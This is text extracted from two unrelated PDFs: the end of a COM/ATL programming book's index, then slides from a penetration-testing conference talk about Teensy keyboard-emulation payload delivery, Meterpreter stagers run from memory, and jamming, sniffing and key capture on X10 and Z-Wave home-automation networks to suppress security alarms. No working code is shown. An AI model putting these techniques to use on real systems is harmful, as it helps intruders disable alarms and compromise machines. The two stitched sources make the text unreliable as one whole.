multiple inheritance 98 multi-threaded programming 204 N name 10 name resolution 287 named arguments 130 namespace 254 native compiler directives 253 network 4 traffic 182 new 2 NMAKE 103 no_namespace 254 NoRemove 176 NT LAN Manager Security Support Pro- vider 237 NTLMSSP 237 NULL 109 O OAIDL.IDL 129, 133 object browsing 136 inheritance 61 maps 58 stateless 164 viewer 289 296 Index objected oriented model 2 OBJIDL.IDL 99 OLE 27 automation 125 OLE/COM object viewer 289 OLE32.DLL 72 oleautomation 99 OLECTL.H 129 OLEVIEW 289 on _com_ptr_t 256 open 120 Open Software Foundation 12 OSF 12, 107 out 109 out-of-band 264 out-of-process server 14 P parameter boolean 113 double 112 permissions access 235 launch 236 ping 286 PLG file 105 pointer 110 pointer_default() 99 polling 183 post build step 104 PostThreadMessage 158 POTS 152 pre-processor 97, 247 principles of COM 67 process 3, 152 ProgID 170, 172 registration 172 programmatic identifier 172 progress 182 property 140 attributes 141 standard 129 propget 141 propput 141 propputref 141 protocol 230 proxy 85 published 70 pure virtual 74 Q QueryInterface 76, 81 R raw method 260 ref 110 reference counting 82 REG scripts 175 RegCreateKey 178 REGDB_E_CLASSNOTREG 283 RegDeleteValue 178 REGEDIT 175 registration server 64 registry 73, 167, 178 editor 167 resources 175 scripts 65 RegServer 177 REGSVR32 103, 178 Release 82 Remote Procedure Calls 229 RemoteServerName 174, 134 retval 110, 141 RGS 175 RPC 229 RPC_C_AUTHN_NONE 241 RPC_S_SERVER_UNAVAILABLE 284 RPC_X_NULL_REF_POINTER 111 RPCDCE.H 241 RPCSS 72 RunAs 174 S SCM 14, 73, 167, 230 SCODES 267 security 234 custom 239 Index 297 self-registration 168, 174 server 43 adding a method 36 context 88 creation using ATL wizard 30 in-process 14, 29, 178 multi-threaded 203 out-of-process 14 registration 64 running with client 40 service 15 Service Control Manager 167, 230 ServiceParameters 174 short 108 signed 108 single threads 155, 159 singleton classes 79 sink 184 size_is 113, 114, 115, 120 size_is(llen) 116 smart pointer classes 256 error handling 258 smart pointers 255, 220 source 184 STA 155 stability 89 standard keys 170 standard marshaling 94 standard properties 129 stateful 164 stateless 164 static member 208 STDAFX.H 191 string 113, 114 strlen 113 struct 74 structure 121 stub 85 SUCCEEDED 22, 264 Support Connection Points 186, 216 surrogate 15 synchronization 151, 162 synchronous 190 SysAllocString 118 SysFreeString 118 T TCP/IP address 232 template 247 classes 250 example 248 this pointer 210 thread 152 apartment 155, 158 free 155, 164 single 155, 159 testing different models 165 worker 205 thread local storage 152 threading models 151, 153 ThreadingModel 172 THREADPROC 153 ThreadProc 208 TLH 260 TLS 152 TRACERT 287 transparency 69 TRG file 103 try/catch 259 type library 87, 95, 102, 126, 290 typedef 121 typelib 170 header 260 U UDP 230 UnAdvise 189 Unadvise 225 UNC 232 unicode 113 unique 5, 110 universal naming convention 232 Universally Unique Identifier 12 Unlock 227 unregistration 176 UnRegserver 177 unsigned 108 298 Index UpdateRegistryFromResource 177 User Datagram Protocol 230 user interface thread 153 uuid 12, 99 V v1_enum 122 VARIANT 128 VARIANTARG 130 VariantInit 132 varying arrays 119, 121 VB run-time error 134 version 99 VersionIndependantProgID 172 very early binding 127 Virtual Function Table 75 Visual Basic 125 VT 132 types 132 VTABLE 24, 75 W wchar_t 108, 113 wcslen 113 Win32 Debug 41 Windows Service Control Manager 14 WINERROR.H 266 WinMain 177 WM_CLOSE 154 WM_QUIT 154 worker thread 205 implementing 209 simple 208 starting 207 wrapper method 260
pdf
Social-Engineering Pentesting over Power lines Dave Kennedy (@Dave_ReL1K) Rob Simon (@KickenChicken57) http://www.secmaniac.com About Rob •  Application Security Engineer, Fortune 1000 •  Penetration Tester •  Source Code Analysis •  Spare time plays with home automation gear •  C/C++/C# •  Also hugs.. About Me •  Creator of the Social-Engineer Toolkit •  Founder of DerbyCon •  Author of new book from NoStarch Press on Metasploit •  Back|Track Development Team •  Exploit-DB Development Team •  Exploit Writer •  Penetration Tester •  Chief Information Security Officer, Fortune 1000 •  I give hugs.. Before we start…a slight detour Introduction on the Teensy •  Originally covered by Adrian Crenshaw (irongeek) •  Morphed into a weapon last year at Defcon. •  The ability to emulate any keyboard and leverage full character sets with on-board storage. The Teensy Device Teensy, Teensy ++, Customized Motion Sensor Teensy (thnx. Garland) Let’s walk through some basics •  In order to get a binary to the system we need to convert it to keyboard-acceptable characters. •  Our choice was leveraging binary to hex conversion methods. Conversely you could easily use base64. Some code Okay now we got some hex… •  Okay, now we have some hex… We need a way to convert it back to a binary when its written to a file on the system through the teensy.. •  You could leverage vbs, we decided on PowerShell as it’s pretty much on every Windows XP instance and integrated into Vista and Windows 7 and can’t be removed. Some more code Moving it to Teensy Moving it to Teensy Pt. 2 Bummer… •  So unfortunately, this method didn’t work, after breaking it down to hex or base64, the file was above what the Teensy++ could handle. •  So we looked at another alternative… Shellcodeexec •  Works on DEP/NX enabled systems by storing shellcode as +rwx. •  Supports alphanumeric encoded payloads which means a meterpreter stager will be extremely small character wise. Testing it out… •  Custom compile shellcodeexec and convert to hex •  Create a meterpreter reverse_tcp via alphanumeric shellcode •  Execute shellcode exec and launch alphanumeric shellcode into memory without ever touching disk DEMO That’s not all… •  We then soldered on the SDCard mount and were able to get the teensy to read off the microcontroller and put as large of a file as we want onto the system.. Okay…back on track sorry. Squirrel… Introduction •  We’ll be covering three main categories. •  IEEE 1901-2010 Standard for Broadband over Power Lines (published February 2011) •  IEEE 1675-2008 Standard for Broadband hardware installation •  G.hn is a competing standard (for example AT&T uses this) •  X10, Crestron, Lutron, Z-Wave •  New tools release •  How to leverage these in penetration testing •  New things to come that are currently in development Broadband over Power Lines (BPL) •  Speeds around 500KB to 135MBPS based on price (home plug certification). •  Leveraged for Ethernet over power lines. •  Mostly used as residential areas for home networking however used in some corporate environments. •  Homeplug 2005 AV specification increased the peak data from 14 MBPS to 200 MBPS. •  Homeplug PHY is used for smart grid infrastructures (100 bucks for the specification…just Google for it :P) but is mostly being used for smart grids as well as home use. Understanding BPL •  Normal wiring systems were designed for the transmissions of AC power. •  Drawbacks are it has a limited to carry higher frequencies •  Most home/corporate security uses 56bit DES :P •  Typically transmits via medium to high frequencies (1.6 to 80mhz) for more corporate use and 20 and 200khz for home use. •  BPL is actively being used in car network communications, HVAC systems, security systems, network communications and much more. PHY Smart Grids •  Allows long range transmissions of network signals through multiple power lines. •  Used by virtually every country due to its low cost implementation. •  Allows communications on both wired and wireless based transmissions. •  The PHY Alliance and Zigbee Alliance has came together to create a single standard for a combined infrastructure. Home Ethernet over Power •  Generally support DES (ew) or AES. •  Turned off by default. •  Allow as many devices you want to plug in to support power of Ethernet. •  Awesome for penetration testing. Real World Scenario •  Physical penetration test on CompanyX. •  You place the BPL device next to a company within the corporate environment. •  You can now find a place inside the organization or outside exposed power jacks to perform your penetration test. Home Automation •  We’ll be covering the two main ones: •  X10 (60 Hz over powerlines) •  Z-Wave (900 MHz) •  There are a number of other ones including proprietary/commercial: •  Crestron •  Lutron (433 mhz) •  Zigbee (2.4ghz, 915 MHz, and 868 MHz) •  Insteon (dual band powerlines and RF) Home Automation Basics •  Home automation is used in a number of large businesses, homes and other facilities. •  Provides interconnectivity to multiple systems and allows automated responses to occur based on if a criteria is met. •  Gaining major momentum in most organizations. Basics of X10 •  Still highly used within home automation. •  Provides easy access to communicate between devices through power lines and some through RF. •  Some equipment used by X10 include: •  HVAC •  Motion Sensors •  Lights •  Cameras •  Security systems •  Doors Some drawbacks of X10 •  Lack of encryption (ouch) •  Only allows 256 devices •  Could have heavy interference X10 Codes 0 0 0 0 All units off Switch off all devices with the house code indicated in the message 0 0 0 1 All lights on Switches on all lighting devices (with the ability to control brightness) 0 0 1 0 On Switches on a device 0 0 1 1 Off Switches off a device 0 1 0 0 Dim Reduces the light intensity 0 1 0 1 Bright Increases the light intensity 0 1 1 1 Extended code Extension code 1 0 0 0 Hail request Requests a response from the device(s) with the house code indicated in the message 1 0 0 1 Hail acknowledge Response to the previous command 1 0 1 x Pre-set dim Allows the selection of two predefined levels of light intensity 1 1 0 1 Status is on Response to the Status Request indicating that the device is switched on 1 1 1 0 Status is off Response indicating that the device is switched off 1 1 1 1 Status request Request requiring the status of a device X10 Kit Testing the jammer/sniffer The Arduino Device New Tool Release – X10 Blackout •  In the Social-Engineer Toolkit v2.0 •  Jams X10 based signals in order to prevent security systems from triggering or other devices. •  Easy to do with RF however illegal  but…hypothetically… New Tool Release – X10 Sniffer •  In the Social-Engineer Toolkit v2.0 •  Sniffs all X10 bases traffic and sends you the information. We’ve been playing around with it sending over Verizon via text messages, almost done… Right now it writes to external storage. •  Ability to trigger on certain events, for example if a security system is armed and triggers, it will send a jamming signal to prevent it from alerting. •  A lot of the security systems use RF which is identical to jam, just via a airwaves. Z-Wave •  Leverages Mesh networks in order to communicate between devices •  Support for AES however we haven’t found a device that uses it (we’ll talk about this). •  Similar devices can be leveraged via Z-Wave and is considered one of the more prominent home automation standards. Z-Wave •  Jamming is very simple and can cause significant disruptions (illegal? :P) •  Transmission on the Z-Wave network is relatively easy and the SDK provides a Z-Wave sniffer for “troubleshooting”. •  Easy to develop Z-Wave based-sniffer that jams signals based on certain criteria, i.e. motion sensors, cameras, etc. •  Ability to inject seamless data into the Z-Wave network including replay of camera feeds, and such. AES Encryption Exposure •  During initial pairing of devices, the AES initialization key can be captured allowing decryption and tampering of communications. •  Not leveraging standard FIPS compliant-based transmission of AES key. New Tool Release •  The Social-Engineer Toolkit v2.0 is now being released. •  Includes all of the code to automatically generate all of this for you. Coming soon…. •  Sniffer based on Z-Wave initialization encryption keys. •  Sniffer and Z-Wave injector that will send information to the systems. DerbyCon) •  Three)day)conference)with) training) •  Insanely)stacked)line9up) •  September)30)9)October)2nd)) •  Louisville)Kentucky)9)Hyatt) Regency) http://www.derbycon.com! [email protected]! [email protected] Twitter: dave_ReL1K
pdf